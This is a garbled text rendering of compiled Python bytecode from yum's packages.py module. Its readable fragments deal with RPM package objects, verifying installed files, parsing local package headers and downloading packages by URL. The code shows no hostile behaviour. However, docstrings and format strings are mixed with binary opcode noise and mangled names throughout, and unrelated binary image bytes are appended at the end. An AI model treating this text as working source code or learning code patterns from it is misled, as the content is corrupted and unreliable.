<package type="rpm">s
</package>(R:R~RRtto_utf8(ROR|((s0/usr/lib/python2.6/site-packages/yum/packages.pytxml_dump_primary_metadatas

cCs^d|i|i|i|i|i|if}|ti|i7}|d7}ti	|S(NsV
<package pkgid="%s" name="%s" arch="%s">
    <version epoch="%s" ver="%s" rel="%s"/>
s</package>
(
RDR(RnR
RRR:R~RR(ROR|((s0/usr/lib/python2.6/site-packages/yum/packages.pytxml_dump_filelists_metadatas

icCs[d|i|i|i|i|i|if}|dti|i|7}ti	|S(NsV
<package pkgid="%s" name="%s" arch="%s">
    <version epoch="%s" ver="%s" rel="%s"/>
s%s
</package>
(
RDR(RnR
RRR:R~RR(RORR|((s0/usr/lib/python2.6/site-packages/yum/packages.pytxml_dump_other_metadatas N(/RTRURVRmRPRRtui_from_repoRRRRR
RRURRzRt	committerRt
committimeRRDR$R-R5R%R/RJRMtxattr_origin_urlRORPRRR}RRRRRRRRRRR(((s0/usr/lib/python2.6/site-packages/yum/packages.pyRsT										
		
						#					S			%			2			cCs||p|d|S(sX Rpm returns None, for certain sizes. And has a "longsize" for the real
        values. tlong((R,RU((s0/usr/lib/python2.6/site-packages/yum/packages.pyt_rpm_long_size_hackstYumHeaderPackagecBseZdZdZdZdZedZdZdZ	dZ
dZd	Zd
Z
dZded
ZdZdZdZdZdZRS(s'Package object built from an rpm headercCsti||||_ti|id|_|id}|p
d}nti||_ti|i|_ti|id|_	ti|id|_
|i	|_|i
|_|i|i|i|i	|i
f|_
|idpd|_ti|iidd|_|id	pd|_ti|i|_|iti|_|ip%d
|id|idf|_nt|id|_t|id
|_h|_t|_dS(sGhand in an rpm header, we'll assume it's installed and query from thereR(RntnoarchRRR]RZs
R^s%s.%sRRmRUN(RRPR,R:t
share_dataR(RntdoepochR
RRRRRR]RqR^R0tRPMTAG_SHA1HEADERRiRRRnt_YumHeaderPackage__mode_cacheRt _YumHeaderPackage__prcoPopulated(ROR1R,tthis_a((s0/usr/lib/python2.6/site-packages/yum/packages.pyRPs0	

'!
%	cCs#dtitii|iS(Nsfile://(turllibtquoteR[R\tabspathR%(RO((s0/usr/lib/python2.6/site-packages/yum/packages.pyRscCsb|idjo&d|i|i|i|if}n)d|i|i|i|i|if}|S(NRps%s-%s-%s.%ss%s:%s-%s-%s.%s(R
R(RRRn(ROR((s0/usr/lib/python2.6/site-packages/yum/packages.pyRkscCs4|ip|it|_nti|||S(N(Rt
_populatePrcoRRR(RORR((s0/usr/lib/python2.6/site-packages/yum/packages.pyRs


cCs|iS(N(R,(RO((s0/usr/lib/python2.6/site-packages/yum/packages.pyt_get_hdrsc	Cshtidd6tidd6tidd6tidd6}|i}x|D]}|ttd	|}tti|}|pqYn|ttd
|}|djo?titiB}g}|D]}|t||@q~}	ntt	i
i|}tti|}|ttd|}tt	i
i|}
td|
}
||}ttit
|||
|i|<|djo[t
|	|i|}	g}|	D] }
|
d
p||
dqq~}||id<qYqYWdS(s;Populate the package object with the needed PRCO interface.RtOBSOLETERtCONFLICTRtREQUIRERtPROVIDEs
RPMTAG_%sNAMEsRPMTAG_%sFLAGSsRPMTAG_%sVERSIONcSs4ti|dti|dti|dfS(iii(R:R(R((s0/usr/lib/python2.6/site-packages/yum/packages.pyRt(s iiRN(R:RRR}R0tmaptRPMSENSE_SCRIPT_PREtRPMSENSE_SCRIPT_POSTR8R
RRRtzipR(ROttag2prcoR,ttagR(tlsttbitsRtflagtweakreqstversRt_[2]twreqt
strongreqs((s0/usr/lib/python2.6/site-packages/yum/packages.pyRs6
/		
%
4cCsTtidtiddyt||SWn#tj
otid|nXdS(Ns6tagByName() will go away in a furture version of Yum.
RisUnknown header tag %s(RRRRR}tAttributeErrorRE(ROR((s0/usr/lib/python2.6/site-packages/yum/packages.pyt	tagByName2s	cCs|ido'|idotd||fny|i|SWnKtj
otd||fn'tj
otd||fnXdS(Nt__s%s has no attribute %s(RR^RR,tKeyErrorRC(ROtthing((s0/usr/lib/python2.6/site-packages/yum/packages.pyt__getattr__:s cCs4|id}|djo
d}n
t|}|S(NR
Rp(R,RmR(ROttmpepochR
((s0/usr/lib/python2.6/site-packages/yum/packages.pyRLs



cCs|iS(N(R,(RO((s0/usr/lib/python2.6/site-packages/yum/packages.pyR5Usc	CsJ|id}|id}|id}t|||}|ipx|D]\}}}|djp
|djo<d|ijog|id<n|idi|qJn||ijoti||i|<nd}|i|o
d}n#|dj	o|d@o
d}n|ii	|gi|qJWt
|_ndS(	Nt	filenamest	fileflagst	filemodesRZRRi@R(R,RRRmRRRR>tS_ISDIRt
setdefaultR(	RORRRt	filetupleRtmodeRtfkey((s0/usr/lib/python2.6/site-packages/yum/packages.pyt
_loadFilesYs*





 RcCs|iti|||S(s"return list of files based on type(RRR(RORR((s0/usr/lib/python2.6/site-packages/yum/packages.pyRrs
cCsqt|iddjoStti|idddti|idddti|idddSgS(Nt
changelognameit
changelogtimeterrorsRqt
changelogtext(RR,RR:R~(RO((s0/usr/lib/python2.6/site-packages/yum/packages.pyRws
cCs
tdS(N(R(RO((s0/usr/lib/python2.6/site-packages/yum/packages.pyRscCst|idS(NRU(RR,(RO((s0/usr/lib/python2.6/site-packages/yum/packages.pyRscCs6|dj	o%|titiBtiB@odSndS(sncheck the flags for a requirement, return 1 or 0 whether or not requires
           is a pre-requires or a notiiN(RmR0tRPMSENSE_PREREQRR(ROR((s0/usr/lib/python2.6/site-packages/yum/packages.pyt_is_pre_reqs

	cCs|iti}|iti}tt|}t|i|}|iti}tt|}|dj	ot
||||}nti|}|S(s%returns requires with pre-require bitN(
R,R0tRPMTAG_REQUIRENAMEtRPMTAG_REQUIREFLAGSRRRtRPMTAG_REQUIREVERSIONRRmRR:RB(ROR(RRRRR((s0/usr/lib/python2.6/site-packages/yum/packages.pyRs
(RTRURVRPRRkRRRRRRRR5RRRRRRR(((s0/usr/lib/python2.6/site-packages/yum/packages.pyRs$						$							
			
t_CountedReadFilecBs eZdZdZdZRS(s Has just a read() method, and keeps a count so we can find out how much
        has been read. Implemented so we can get the real size of the file from
        prelink. cCs||_d|_dS(Ni(tfpt	read_size(ROR((s0/usr/lib/python2.6/site-packages/yum/packages.pyRPs	cCs+|ii|}|it|7_|S(N(RtreadRR(RORURx((s0/usr/lib/python2.6/site-packages/yum/packages.pyRs(RTRURVRPR(((s0/usr/lib/python2.6/site-packages/yum/packages.pyRs	t_PkgVerifyProbcBs#eZdZedZdZRS(s8 Holder for each "problem" we find with a pkg.verify(). cCs:||_||_d|_d|_||_||_dS(N(RhtmessageRmtdatabase_valuet
disk_valuet
file_typestfake(RORhR|tftypesR((s0/usr/lib/python2.6/site-packages/yum/packages.pyRPs					cCs
|djodShdd6dd6dd6dd6dd	6d
d6dd
6dd6dd6dd6dd6dd6dd6dd6}t||i||i}|pkxhdddgD]S}t||}t||}|djoqnt||}|oPqqWn|S(NiRhitsymlinkiRDiRUtuseriR_iRitgenchecksumitmtimei	tmissingi
spermissions-missingiRit	missingoki
RRRR(RmRwRhR}(RORgt	type2sortRxtattrRty((s0/usr/lib/python2.6/site-packages/yum/packages.pyRhs$


(RTRURVRRPRh(((s0/usr/lib/python2.6/site-packages/yum/packages.pyRsiiiiiiiiitYUMVerifyPackageFilecBsgeZdZd dZeddddddZedddd	dd
Zedddddd
ZeddddddZ	eddddddZ
eddddddZeddddddZdZ
eddddddZedZeddZRS(!cCss||_d|_d|_d|_d|_d|_d|_d|_d|_	t
|_t|_
d|_dS(N(tfilenameRmtreadlinkRtdevRR_RtdigestRURtverify_ftypeRtrpmfile_typet
rpmfile_state(ROR((s0/usr/lib/python2.6/site-packages/yum/packages.pyRPs										cCsO|djod|}nd|}t|||t|||dj	dS(Ntverify_t_(RmR(RORRtvattr((s0/usr/lib/python2.6/site-packages/yum/packages.pyt_setVerifiedAttrs


RscCs|iS((t	_readlink(R((s0/usr/lib/python2.6/site-packages/yum/packages.pyRtstfdelcCst|ddS(RN(RRm(R((s0/usr/lib/python2.6/site-packages/yum/packages.pyRtstfsetcCs|id|S(R(R(RR((s0/usr/lib/python2.6/site-packages/yum/packages.pyRtscCs|iS((t_mtime(R((s0/usr/lib/python2.6/site-packages/yum/packages.pyRtscCst|ddS(RN(RRm(R((s0/usr/lib/python2.6/site-packages/yum/packages.pyRtscCs|id|S(R(R(RR((s0/usr/lib/python2.6/site-packages/yum/packages.pyRtscCs|iS((t_dev(R((s0/usr/lib/python2.6/site-packages/yum/packages.pyRtscCst|ddS(RN(RRm(R((s0/usr/lib/python2.6/site-packages/yum/packages.pyRtscCs|id|S(R(R(RR((s0/usr/lib/python2.6/site-packages/yum/packages.pyRtscCs|iS((t_user(R((s0/usr/lib/python2.6/site-packages/yum/packages.pyRtscCst|ddS(RN(RRm(R((s0/usr/lib/python2.6/site-packages/yum/packages.pyRtscCs|id|S(R(R(RR((s0/usr/lib/python2.6/site-packages/yum/packages.pyRtscCs|iS((t_group(R((s0/usr/lib/python2.6/site-packages/yum/packages.pyRtscCst|ddS(R_N(RRm(R((s0/usr/lib/python2.6/site-packages/yum/packages.pyRtscCs|id|S(R_(R(RR((s0/usr/lib/python2.6/site-packages/yum/packages.pyRtscCs|iS((t_digest(R((s0/usr/lib/python2.6/site-packages/yum/packages.pyRtscCst|ddS(RN(RRm(R((s0/usr/lib/python2.6/site-packages/yum/packages.pyRtscCs|id|S(R(R(RR((s0/usr/lib/python2.6/site-packages/yum/packages.pyRtscCs|iS((R(R((s0/usr/lib/python2.6/site-packages/yum/packages.pyRtscCst|ddS(RUN(RRm(R((s0/usr/lib/python2.6/site-packages/yum/packages.pyRtscCs|id|S(RU(R(RR((s0/usr/lib/python2.6/site-packages/yum/packages.pyRtscCs<|dj	|_|dj	|_d|}t|||dS(NR(Rmtverify_modeRR(RORR((s0/usr/lib/python2.6/site-packages/yum/packages.pyt_setVerifiedMode
s
cCs|iS((t_mode(R((s0/usr/lib/python2.6/site-packages/yum/packages.pyRtscCst|ddS(RN(RRm(R((s0/usr/lib/python2.6/site-packages/yum/packages.pyRtscCs|id|S(R(R(RR((s0/usr/lib/python2.6/site-packages/yum/packages.pyRtscCsti|odSti|odSti|odSti|odSti|odSti|odSdS(s5 Given a "mode" return the name of the type of file. Rt	directoryRtfifoscharacter devicesblock devices	<unknown>(R>tS_ISREGRtS_ISLNKtS_ISFIFOtS_ISCHRtS_ISBLK(R((s0/usr/lib/python2.6/site-packages/yum/packages.pyt_ftypescCs|i|iS((RR(R((s0/usr/lib/python2.6/site-packages/yum/packages.pyRtsN(RTRURPRmRRRRRRR_RRURRtstaticmethodRR(((s0/usr/lib/python2.6/site-packages/yum/packages.pyRs:										t_RPMVerifyPackageFilecBseZedZRS(cCsti||d|d}|o
d}n|d}|t@o|d|_n|t@tBob|d}|djo|d@}n||_|t@p
t|_n|t@p
t|_	qn|t
@o|d|_n|t@o|d	|_nt
|_}|ti@o|id
n|ti@o|idn|ti@o|idn|ti@o|id
n|ti@o|idn|ti@o|idn|ti@o|idn|d}	hdti6dti6dti6dti6dti6}
|	|
jo|
|	|_n
d|_|t@o|d|_n|t @o|d|_!n|t"@o||df|_#n|i$djo|t%@o|i&|_'n|t%@o
d|_'ndS(Niiii	iiiiit
configurationt
documentationRRcs
public keytREADMEs
missing okitnormaltreplaceds
not installedswrong colort	netshareds	<unknown>i
iiRRZ((RRPt_RPMVERIFY_FILESIZERUt_RPMVERIFY_RDEVt_RPMVERIFY_MODERRRRt_RPMVERIFY_MTIMERRRt
rpmfile_typesR0tRPMFILE_CONFIGtaddtRPMFILE_DOCt
RPMFILE_GHOSTtRPMFILE_LICENSEtRPMFILE_PUBKEYtRPMFILE_READMEtRPMFILE_MISSINGOKtRPMFILE_STATE_NORMALtRPMFILE_STATE_REPLACEDtRPMFILE_STATE_NOTINSTALLEDtRPMFILE_STATE_WRONGCOLORtRPMFILE_STATE_NETSHAREDRt_RPMVERIFY_USERRt_RPMVERIFY_GROUPR_t_RPMVERIFY_DIGESTRRt_RPMVERIFY_LINKTOtFLinkR(ROtfiRRHtoverride_vflagsRdtvflagsRRRtstatemap((s0/usr/lib/python2.6/site-packages/yum/packages.pyRP#sl




	







	(RTRURRP(((s0/usr/lib/python2.6/site-packages/yum/packages.pyR"stYUMVerifyPackagecBsMeZdZdZdZdZdZdZdZdZ	RS(s, A holder for YUMVerifyPackageFile objects. cCs||_h|_dS(N(tpot_files(ROR6((s0/usr/lib/python2.6/site-packages/yum/packages.pyRPns	cCs
||ijS(sp Note that this checks if a filename is part of the package, and
            not a full YUMVerifyPackageFile(). (R7(ROtfname((s0/usr/lib/python2.6/site-packages/yum/packages.pyt__contains__rsccs$x|iD]}|i|Vq
WdS(N(R7(ROR((s0/usr/lib/python2.6/site-packages/yum/packages.pyt__iter__ws
cCs||i|i<dS(N(R7R(ROtvpf((s0/usr/lib/python2.6/site-packages/yum/packages.pyR {scCs|i|i=dS(N(R7R(ROR;((s0/usr/lib/python2.6/site-packages/yum/packages.pytremove~scCs&|i|jodS|i|dS(N(RR<(ROR;((s0/usr/lib/python2.6/site-packages/yum/packages.pytdiscardscCs
h|_dS(N(R7(RO((s0/usr/lib/python2.6/site-packages/yum/packages.pytclears(
RTRURVRPR9R:R R<R=R>(((s0/usr/lib/python2.6/site-packages/yum/packages.pyR5ls						t_RPMVerifyPackagecBsGeZdZdZdZdZdZdZdZRS(cCs)ti||||||f|_dS(N(R5RPt	_presetup(ROR6R1t
def_csum_typetpatternstall((s0/usr/lib/python2.6/site-packages/yum/packages.pyRPsc		Cst|dpdS|i\}}}}|`x|D]z}|d}|oGt}x,|D]$}ti||ot}Pq[q[W|pq7qn|it||||q7WdS(NR@i(RzR@RR=RR R(	ROR1RARBRCtftRRFtp((s0/usr/lib/python2.6/site-packages/yum/packages.pyt_setups"
	cOs|iti|||S(N(RFR5R9(ROtargstkwargs((s0/usr/lib/python2.6/site-packages/yum/packages.pyR9s
cOs|iti|||S(N(RFR5R:(RORGRH((s0/usr/lib/python2.6/site-packages/yum/packages.pyR:s
cOs|iti|||S(N(RFR5R (RORGRH((s0/usr/lib/python2.6/site-packages/yum/packages.pyR s
cOs|iti|||S(N(RFR5R<(RORGRH((s0/usr/lib/python2.6/site-packages/yum/packages.pyR<s
cOs-t|do
|`nti|||S(NR@(RzR@R5R>(RORGRH((s0/usr/lib/python2.6/site-packages/yum/packages.pyR>s
(	RTRURPRFR9R:R R<R>(((s0/usr/lib/python2.6/site-packages/yum/packages.pyR?s						RtYumInstalledPackagecBs8eZdZddZgeeeeeddZRS(s2super class for dealing with packages in the rpmdbcCs4ti|t||o|i||_ndS(N(RRPt_installed_repotget_packageR(ROR,tyumdb((s0/usr/lib/python2.6/site-packages/yum/packages.pyRPsc+Cs	|ii}h}	d}
tii|
}d}ttdo:|iti}
|
o|
tjot|
}qyq}nt	|||||}|d6j	o||}nx	|D]	}|i}t|i
}|idjoE|id|i|o#tdd|dtg|	|<qqnd	|i
jo*|o#td
d|dtg|	|<nd	|i
jo|oqnd|i
jo*|o#tdd
|dtg|	|<nd|i
jo|oqng}tii|ioti|i}|i}yti|tid}Wn&tj
o}d|ti}nXyti|tid}Wn&tj
o}d|ti}nXti|i}t }|i!o-|i"i#dp|i#do
t}n|o|i"|jo8tdd|}|i"|_$||_%|i|q|i&d@|i'd@joOtdd|}t(|i&d@|_$t(|i'd@|_%|i|qn|i)oud}|djoti*|i}n||i*jo8tdd|}|i*|_$||_%|i|q.nt}d|jo
t }n|djo)|i"djoti|ii}n|djo
t }nt}|djo
t }n|oj|i+o`t,|i-t,|i.joAtdd|}|i.|_$t,|i-|_%|i|n|oR|i/oH||i0jo8tdd|}|i0|_$||_%|i|n|oR|i1oH||i2jo8tdd|}|i2|_$||_%|i|n|i}|i3}d } d|jo|| M}|| M}n|oO|i4oE||jo8td!d"|}||_$|i|_%|i|n|i5}!|o"|o||i6jo
t }!n|i7p
t }!n|o|!p!|i8o|o||i6jo|i7o-|i7d}"|i7dd#|i7d$}#n
|}"d}#y't9i:|"|i}$|"d#|$}$Wnt;i<j
o
d6}$nX|i5oB|$d6jo5td%d&|}|#|_$d6|_%|i|n|$|#jo|ot=|
d'|igd(d)d*t>d+t>d,t>d-t}%|%i?|%i@|%iA}&}'}(tB|'}'t9i:|"|'})|'iCo!|)}$|"d#|$}$|'iC}qin|i5oB|$|#jo5td.d/|}|#|_$|$|_%|i|qn|oR|i8oH||i6jo8td0d1|}|i6|_$||_%|i|q	nyti|it}*Wn8tDj
o,}t}*|iEtEiFjo
t }*qk	nX|*otd2d3|}ntd4d5|}|i||o||	|i<qqW|	S(7sverify that the installed files match the packaged checksum
           optionally verify they match only if they are in the 'pattern' list
           returns a tuple s/usr/sbin/prelinktmd5tRPMTAG_FILEDIGESTALGORsstate=Rsstate is not normalRs
missing okRsmissing but okRs
ghost fileisuid %s not foundsgid %s not foundtdeviceRhsfile type does not matchisdev does not matchRZRssymlink does not matchRRsmtime does not matchRsuser does not matchR_sgroup does not matchiRsmode does not matcht:iRschecksum not availables-ytbufsizeitstdintstdouttstderrt	close_fdsRDschecksum does not matchRUssize does not matchRsfile is missingspermissions-missings#file is missing (Permission denied)N(GR,tfiFromHeaderR[R\R.RzR0RNtRPM_CHECKSUM_TYPESR?RmRtlistRRRRRtlexiststlstatRCtpwdtgetpwuidR>tST_UIDRtgrptgetgrgidtST_GIDRRtst_modeRt
verify_devRR^RRRRARtverify_readlinkRtverify_mtimeRRBRtverify_userRtverify_groupR_RRt
verify_digestRURtverify_sizeR:RDRRERRRRRSRTRRR?terrnotEACCES(+RORBtdepstscriptt
fake_problemsRCtfasttcallbackR1Rtprelink_cmdthave_prelinkRHtcsum_numtpfstpfRRtproblemstmy_stt
my_st_sizetmy_userR%tmy_grouptmy_ftypeRbtprobtmy_fnlt
check_contenttcheck_permstmy_modetpf_modet	perm_maskRgtdigest_typeRtmy_csumREtigRterttcsumtperms_ok((s0/usr/lib/python2.6/site-packages/yum/packages.pytverifys\

			
			

	





		!	!					

		




 		
		!	
	
N(RTRURVRmRPRRR(((s0/usr/lib/python2.6/site-packages/yum/packages.pyRIs	tYumLocalPackagecBseZdZd
d
dZdZdZd
dZeddZ	dZ
dZd	Zedd
Z
eddZdZRS(sClass to handle an arbitrary package from a file path
       this inherits most things from YumInstalledPackage because
       installed packages and an arbitrary package on disk act very
       much alike. init takes a ts instance and a filename/path 
       to the package.cCs|djotii}n|djotidnd|_||_d|_yti	i
||i}Wn.tj
o"}tid|i|fnXt|}d|_
ti||||i|_ti|i|_t|id|_t|id|_|i|_|i|i|i|i|if|_d|_d|_ t!i"d|_#d|_$d|_%dS(Ns;No Filename specified for YumLocalPackage instance creationtlocals%Could not open local rpm file: %s: %siiiRZ(&RmR
R&R'RREtpkgtypeR6RRR(RRWtcostRRPRiR2R[R>t_statRRlRtisSrpmRnR(R
RRRt	_hdrstartt_hdrendR:t_default_checksumsRQt_reldirt_baseurl(ROR+RR,R%tfakerepo((s0/usr/lib/python2.6/site-packages/yum/packages.pyRPs6


				'			cCs=|iddjp|idodS|idSdS(Nt
sourcepackageiRtsrcRn(R(RO((s0/usr/lib/python2.6/site-packages/yum/packages.pyRs'cCs|iS(N(R6(RO((s0/usr/lib/python2.6/site-packages/yum/packages.pyR%scCsc|djotid}n|ip4ti||i|_||idfg|_n|iS(Nii(RmR:RRRDR6Ro(RORQ((s0/usr/lib/python2.6/site-packages/yum/packages.pyt_do_checksums

RscCs
|iS((R(RO((s0/usr/lib/python2.6/site-packages/yum/packages.pyRtscCs|i|iS(N(RRo(RO((s0/usr/lib/python2.6/site-packages/yum/packages.pyRs
cCstS(s5 don't bother "checking" the package matches itself. (R(RO((s0/usr/lib/python2.6/site-packages/yum/packages.pyRJscCs|io|io|i|ifSt|id}|id|id}tid|\}|id}tid|\}|d}||}|d}|djod|}nd||}	|i|	|idd	|id}tid|\}
|id}tid|\}|
d}||d}
|	|
}|i|	|_||_|	|fS(
sQtakes an rpm file or fileobject and returns byteranges for location of the headerR'ihis>Iiiiipi(	RRtopenR6tseekRtstructtunpacktclose(ROtfotbinindextsigindextbindatatsigdatatsigindexsizetsigsizetdisttoboundaryRothdrindexthdrdatathdrindexsizethdrsizeRp((s0/usr/lib/python2.6/site-packages/yum/packages.pyt_get_header_byte_ranges6








		cCs|idS(i(R(RO((s0/usr/lib/python2.6/site-packages/yum/packages.pyRtscCs|idS(i(R(RO((s0/usr/lib/python2.6/site-packages/yum/packages.pyRtscCs|ioQ|ii|io;|ii|id}|ddjo|d}qdn
|i}|io5dti|idtti|dtf}ndti|dt}|S(NRZiRXis$<location xml:base="%s" href="%s"/>
Rxs<location href="%s"/>
(RR6RRqRR:R{R(ROtrelpathR|((s0/usr/lib/python2.6/site-packages/yum/packages.pyR}s 	
N(RTRURVRmRPRR%RRRDRRJRRpRoR}(((s0/usr/lib/python2.6/site-packages/yum/packages.pyRs(						0t
YumUrlPackagecBs#eZdZdddddZRS(sClass to handle an arbitrary package from a URL
       this inherits most things from YumLocalPackage, but will download a
       remote package to make it local.
       init takes a YumBase, a ts instance and a url to the package.c
Cs|iido|td}nti|p
|}nod}h}xp|iiD]_}|i}|i	|i
i	jo:|i|i
ijo$|i|i
ijo|i
}Pq`q`Wtii|}	ti}
|
djod|i}
nd|
|	f}
yrtd|i
id|i
id|i
id|d|}|dj	o||i_n|i||
d	|	}Wn.tj
o"}tid
||fnXti|||dS(Nsfile:s%s/../s%s/%st	bandwidthtretrytthrottletprogress_objtproxiesRvsCannot download %s: %s(RRRR:t
re_remote_urlRmtrepostlistEnabledRotproxytconftproxy_usernametproxy_passwordt
proxy_dictR[R\R]tgetCacheDirtcachedirRRtretriesRtoptst
user_agentturlgrabRRRERRP(
ROtybR+RatuaRtcbtpdR1R8RtugR%((s0/usr/lib/python2.6/site-packages/yum/packages.pyRP:s>
			
	
N(RTRURVRmRP(((s0/usr/lib/python2.6/site-packages/yum/packages.pyR4s(FRVR0R[tos.pathR:RR?R=R>Rt
subprocessRRR
RtrpmUtils.miscutilsRRRRiRt	constantsRRt
uses_fragmentRturlgrabber.grabberRRRLRzRmtImportErrorR[R^RRRR0RMRNRWtobjectRlRRRRRRRR.RR/R,R-RRRt_RPMVERIFY_CAPSt_RPMVERIFY_CONTEXTSRRR5R?RJRRIRR(((s0/usr/lib/python2.6/site-packages/yum/packages.pyt<module>s
		"841/	 









HJ,	
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`